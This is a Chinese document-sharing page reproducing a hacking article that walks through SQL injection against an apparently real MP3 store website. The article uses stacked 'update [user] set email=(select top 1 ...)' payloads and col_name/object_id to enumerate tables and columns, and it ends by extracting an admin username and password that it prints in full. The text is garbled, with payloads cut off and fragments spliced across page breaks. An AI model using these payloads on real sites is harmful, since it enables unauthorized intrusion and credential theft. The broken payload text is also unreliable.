欢迎来到天天文库
浏览记录
ID:24916938
大小:55.50 KB
页数:5页
时间:2018-11-17
《有孔就入sqlinjection的深入探讨》由会员上传分享,免费在线阅读,更多相关内容在学术论文-天天文库。
1、有孔就入SQLInjection的深入探讨>>教育资源库 SQLInjection这个话题越来越热了,很多的论坛和hack站点都或多或少地在谈论这个问题,当然也有很多革命前辈写了N多的关于这方面的文章,所利用的也是许多知名的程序,比如动网,尘缘雅境,而我们也可以拿到免费的程序来看其中的漏洞和数据库的结构,从中来达到注入的目的,不过如果是别人自己写的程序,那么我们就不知道他的源代码,更不知道他的数据库结构(数据表名和其中的字段名),就算有个变量未过滤提交到数据库去,我们也是无从对其下手的,只能利用通过猜解他的数据库结构来构造相应的SQL
2、语句,那么是不是就到此为止,能猜到多少是多少呢?没有做不到的,只有想不到的,我相信这篇文章对研究SQLInjection朋友来说,应该会有所启发。 一、发现漏洞,常规注入 最近帮我们的站增加音乐,虽然本地的电信的音乐资源库非常丰富,但是缺少有关歌手和专辑的资料,所以到网上去闲逛找点有用的图片和歌手简介,通过百度搜索到了一个mp3的音乐超市,里面的资料还是比较丰富的,拷贝的同时顺手在他的Specialid=1817后面加了一个(单引号),我突然眼前一亮:MicrosoftOLEDBProviderforSQLServer错误80040
3、e14字符串之前有未闭合的引号。/shoaster;-- 注:--的作用是d>2099048,因为对象标志id是根据由小到大排列的。 以此类推,我们可以得到所有的用户表的名字了。接下来,我们要根据得到的表名取他的字段名,这里我们用到的是系统自带的2个函数col_name()和object_id(),在查询分析器执行以下SQL语句(以我本地的数据库为例子): selecttop1col_name(object_id(gallery),1)fromgallery 得到gallery表的第一个字段名为id。 注: col_n
4、ame()的语法 COL_NAME(table_id,column_id) 参数 table_id:包含数据库列的表的标识号。table_id属于int类型。 column_id:列的标识号。column_id参数属于int类型。 其中我们用object_id()函数来得到该表的标识号,1、2、3。。表示该表的第1个、第2个、第3个。。字段的标识号,以此类推得到该表所有的字段名称。 三、再次渗透攻击 经过上面2步的热身,接下来我们该利用建立好的平台实际操作演练一下了,依然是那个页,我们提交。******/shoail=(s
5、electtop1namefromsysobjectsp;SClassid=35的SClassid同样存在问题,于是提交******/Shop;SClassid=35;update[user]setemail=(selecttop1namefromsysobjectsail项里去,得到第一个表名为:lmuser******/Shop;SClassid=35;update[user]setemail=(selecttop1idfromsysobjectse=lmuser)user的id标识号为:363148339 ******/Shop
6、;SClassid=35;update[user]setemail=(selecttop1namefromsysobjectsin,哈,很可能就是管理员的列表了。 好,接下来我们就取该表的字段名******/Shop;SClassid=35;update[user]setemail=(selecttop1col_name(object_id(admin),1)fromadmin)p;SClassid=35;update[user]setemail=(selecttop1col_name(object_id(admin),2)froma
7、dmin)e******/Shop;SClassid=35;update[user]setemail=(selecttop1col_name(object_id(admin),3)fromadmin)p;SClassid=35;update[user]setemail=(selecttop1usernamefromadminail项,拿到的username为:gscdjmp3******/Shop;SClassid=35;update[user]setemail=(selecttop1pas上一页123下一页>>>>这篇文章来自..,。
8、sadminail项,拿到的password为:XZDC9212CDJ 怎么样,拿到密码了吧? 四、总结 在我们对一个不知道原代码的有SQLIinjection漏洞的程序进行注入的时候,往往很难猜到设
此文档下载收益归作者所有